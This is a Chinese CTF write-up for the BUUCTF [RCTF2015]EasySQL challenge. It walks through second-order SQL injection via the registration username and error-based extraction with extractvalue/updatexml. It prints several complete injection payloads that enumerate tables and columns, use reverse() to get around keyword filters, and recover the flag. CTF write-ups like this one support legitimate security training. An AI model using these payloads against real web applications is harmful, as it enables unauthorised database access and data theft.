BUUCTF_Web([RCTF2015]EasySQL)二次注入+报错注入

做题知识点:

二次注入

二次注入是一次注入通过两次操作实现,注册和登陆。

  1. 注册恶意用户名

  2. 登陆, 在登陆过程中,肯定要将我们输入的数据和数据库进行比对,而在这个``查询数据库中的用户名进行比对的这个过程中,会执行我们插入数据库的用户名(也就是恶意sql注入语句)

题目: 只有登录和注册两个选项。

1.尝试注册

输入admin 123 1

显示用户存在。

2.尝试登录

输入admin'# 123 ( #注释掉后面的,不用管密码)

登录错误。

3.尝试修改密码

输入admin'# #注释掉后面的,不用管密码

点admin'#

点change password,修改密码。

发现没用,,,

4. 报错注入

使用Burp关键字过滤:

(在注册界面使用报错注入然后点击修改密码才会有回显说明这是二次注入,并且payload必须在用户名位置在注册界面

尝试时发现and、order等部分关键词被过滤,extractvalue和updatexml这样的报错注入关键字未被注释,我们可以利用username进行报错注入。

1.查看数据库表名

admin"||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),0x7e))#

有三个article,flag,users表名

2.1 查看flag表中列名(详细步骤)

二次注入:注册 --> 登录

报错注入:(在用户名位置的注册界面输入报错语句)

admin"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='flag')))#

详细步骤:

注册

登录

登录成功后页面

点用户名

修改密码页面 (密码随便输)

页面显现

一个列flag
查看 flag中内容

admin"||extractvalue(1,concat(0x7e,(select(flag)from(flag))))#

(步骤同上,得)发现不是真正的flag。

2.2使用users表查列名

admin"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='users')))# (不知道是哪里出错了,可能某个关键字被过滤,本语句不对)

admin"||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1))#

发现了flag所在的真正位置real_flag_1s_here。但发现here只显示了her,未完全显示,这是因为 extractvalue 和 updatexml最多只能显示32位数字,我们可以使用 reverse()函数,将报错回显的结果倒置,以此来查看末尾未显示的信息。

admin"||extractvalue(1,concat(0x7e,reverse((select(group_concat(column_name))from(information_schema.columns)where(table_name)='users'))))#

有七个列名。
查找real_flag_1s_her'列名

admin"||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))#

发现flag只有一部分,因为right、left、mid等函数均被过滤,因此使用reverse函数

admin"||(updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#

倒置输出 (使用python脚本)

python 复制代码
letter_num = input('}de45611d9636-8c9b-f884-d0d8-9d')  # 直接获取输入
def convert_order():
    reversed_string = letter_num[::-1]  # 使用切片进行倒序
    print(reversed_string)  # 直接打印倒序的结果
convert_order()

得flag{b795edd9-8d0d-488f-b9c8-6369d11654ed}

参考链接:

RCTF2015EasySQL1 题目分析与详解

RCTF2015EasySQL(详细)

相关推荐
Csvn12 小时前
📊 SQL 入门 Day 13:窗口函数进阶
后端·sql
爱喝水的鱼丶15 小时前
SAP-ABAP:调试器高级工具使用——内表分析、SQL追踪、内存检查功能实操
运维·sql·性能优化·sap·abap·经验交流
Csvn1 天前
📊 SQL 入门 Day 12: 窗口函数基础
后端·sql
安_2 天前
MySQL SQL 调优完整指南
数据库·sql·mysql
我命由我123452 天前
SQLite 数据库参数数量超限导致的崩溃问题:SQLiteException: too many SQL variables
java·数据库·sql·java-ee·sqlite·android-studio·android runtime
Lethehong2 天前
【金仓数据库征文】AI 直连国产数据库——KES MCP Server 自然语言查库与 SQL 调优实战
数据库·人工智能·sql·金仓数据库征文
阿里云大数据AI技术2 天前
EMR Serverless Spark AI Function 的双维降本实践
人工智能·sql·spark
jnrjian2 天前
psql 执行多个 sql 文件
数据库·sql
long3163 天前
PostgreSQL 学习资料大全:从入门到精通
java·数据库·sql·postgresql
阳光九叶草LXGZXJ3 天前
达梦数据库-报错-11-cmd 13 validate error
linux·运维·数据库·sql·学习